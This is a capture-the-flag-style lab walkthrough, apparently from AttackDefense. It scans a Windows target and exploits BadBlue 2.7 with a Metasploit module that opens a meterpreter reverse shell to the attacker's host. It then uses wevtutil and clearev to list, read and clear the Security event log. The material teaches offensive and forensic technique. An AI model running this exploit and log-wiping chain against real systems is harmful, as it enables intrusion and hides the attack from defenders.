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Name	Log Management with Wevtutil
URL	https://attackdefense.com/challengedetails?cid=2334
Туре	Basic Exploitation: Pentesting

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Checking target IP address.

Note: The target IP address is stored in the "target" file.

**Command:** cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.26.9
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

**Command:** nmap 10.0.26.9

```
root@attackdefense:~# nmap 10.0.26.9
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 17:51 IST
Nmap scan report for 10.0.26.9
Host is up (0.058s latency).
Not shown: 995 closed ports
        STATE SERVICE
P0RT
80/tcp
        open http
135/tcp open
              msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds
root@attackdefense:~#
```

**Step 3:** We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

**Command:** nmap -sV -p 80 10.0.26.9

```
root@attackdefense:~# nmap -sV -p 80 10.0.26.9
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 17:52 IST
Nmap scan report for 10.0.26.9
Host is up (0.056s latency).

PORT STATE SERVICE VERSION
80/tcp open http BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds
root@attackdefense:~#
```

**Step 4:** We will search the exploit module for badblue 2.7 using searchsploit.

**Command:** searchsploit badblue 2.7

```
root@attackdefense:~# searchsploit badblue 2.7

Exploit Title

BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72b - Multiple Vulnerabilities

BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources BadBlue 1.2.7 - Denial of Service
Working Resources BadBlue 1.2.7 - Full Path Disclosure

Shellcodes: No Results
Papers: No Results
root@attackdefense:~#
```

**Step 5:** There is a Metasploit module for badblue server. We will use PassThu remote buffer overflow Metasploit module to exploit the target.

## **Commands:**

msfconsole use exploit/windows/http/badblue\_passthru set RHOSTS 10.0.26.9 exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
|*| No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.26.9
RHOSTS => 10.0.26.9
msf6 exploit(windows/http/badblue_passthru) > exploit

|*| Started reverse TCP handler on 10.10.15.2:4444
|*| Trying target BadBlue EE 2.7 Universal...
|*| Sending stage (175174 bytes) to 10.0.26.9
|*| Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.26.9:49806) at 2021-04-07 17:52:50 +0530

meterpreter > |
```



**Step 6:** Migrate current process into explorer.exe

Command: migrate -N explorer.exe

```
meterpreter > migrate -N explorer.exe
[*] Migrating from 5076 to 4104...
[*] Migration completed successfully.
meterpreter >
```

Step 7: List all the windows logs using wevtutil.exe utility

## About wevtutil:

"Enables you to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, to run queries, and to export, archive, and clear logs."

## Source:

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

Command: execute -f cmd.exe -H -c -i

wevtutil.exe el

Internet Explorer Key Management Service

RTWorkQueueTheading SMSApi Security Setup SmbWmiAnalytic System SystemEventsBroker TabletPC\_InputPanel\_Channel TabletPC\_InputPanel\_Channel/IHM TimeBroker UIManager\_Channel WINDOWS KS CHANNEL WINDOWS MFH264Enc CHANNEL WINDOWS MP4SDECD CHANNEL WINDOWS\_MSMPEG2VDEC CHANNEL WINDOWS\_VC1ENC\_CHANNEL WINDOWS\_WMPHOTO\_CHANNEL WINDOWS\_wmvdecod\_CHANNEL WMPSetup WMPSyncEngine Windows Networking Vpn Plugin Platform/Operational Windows Networking Vpn Plugin Platform/OperationalVerbose Windows PowerShell Windows.Globalization/Analytic muxencode C:\Windows\system32>

**Step 8:** We have listed all windows logs types. Get the stats of the Security field longs.

Command: wevtutil.exe gli Security

C:\Windows\system32>wevtutil.exe gli Security

wevtutil.exe gli Security

creationTime: 2018-11-15T00:05:45.098Z lastAccessTime: 2021-04-07T12:22:46.302Z lastWriteTime: 2021-04-07T12:22:46.302Z

fileSize: 4263936

attributes: 32

numberOfLogRecords: 4775
oldestRecordNumber: 1

C:\Windows\system32>

We can observe, there are a total of 4775 logs recorded.

**Step 9:** View the first 2 security logs.

Command: wevtutil.exe qe Security /c:2 /rd:true /f:text

**Note:** In your case, it might be a different output.

C:\Windows\system32>wevtutil.exe qe Security /c:2 /rd:true /f:text wevtutil.exe qe Security /c:2 /rd:true /f:text Event[0]: Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2021-04-07T12:22:22.742 Event ID: 4672 Task: Special Logon Level: Information Opcode: Info Keyword: Audit Success User: N/A User Name: N/A Computer: AttackDefense Description: Special privileges assigned to new logon. Subject: Security ID: S-1-5-18 Account Name: SYSTEM Account Domain: NT AUTHORITY 0x3E7 Logon ID: Privileges: SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeImpersonatePrivilege

Step 10: Cleaning all the Security logs

Command: wevtutil.exe cl Security

C:\Windows\system32>wevtutil.exe cl Security
wevtutil.exe cl Security
C:\Windows\system32>

**Step 11:** Verifying that all Security logs are cleaned or not.

Command: wevtutil.exe qe Security /c:5 /rd:true /f:text

```
C:\Windows\system32>wevtutil.exe qe Security /c:5 /rd:true /f:text
wevtutil.exe qe Security /c:5 /rd:true /f:text
Event[0]:
  Log Name: Security
  Source: Microsoft-Windows-Eventlog
 Date: 2021-04-07T12:35:04.542
  Event ID: 1102
 Task: Log clear
 Level: Information
 Opcode: Info
 Keyword: Audit Success
 User: N/A
 User Name: N/A
 Computer: AttackDefense
 Description:
The audit log was cleared.
Subject:
        Security ID:
                        S-1-5-21-3688751335-3073641799-161370460-500
        Account Name:
                       Administrator
        Domain Name:
                        ATTACKDEFENSE
       Logon ID:
                        0x2D6C9
C:\Windows\system32>
```

We have only retrieved 1 log event, which is the default event after we clean up the log events.

**Step 12:** Similarly, we could use the meterpreter command to clean all the log events.

Command: clearev

## References

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